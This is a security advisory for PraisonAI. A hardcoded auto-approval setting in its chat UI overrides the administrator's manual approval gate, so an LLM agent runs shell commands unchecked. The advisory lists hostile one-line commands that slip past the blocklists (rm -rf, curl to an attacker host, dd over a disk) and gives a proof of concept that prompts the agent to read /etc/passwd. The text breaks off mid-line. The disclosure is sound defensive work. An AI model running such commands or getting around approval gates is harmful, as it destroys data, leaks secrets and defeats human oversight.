GitHub Security Advisory: GHSA-qwgj-rrpj-75xm
Package: PraisonAI (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution

Details:
## Summary

The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

## Details

The application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.

However, both UI modules unconditionally override this after loading:

**`chat.py:156-159`:**
```python
config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config
```

**`code.py:155-158`:**
```python
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override
```

This flows to `agent_tools.py:347-348` in the `acp_execute_command` function:
```python
auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)
```

The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:
```python
result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)
```

**Command sanitization is insufficient.** Two blocklists exist:
1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r`
2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`.

## PoC

**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.

```bash
# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd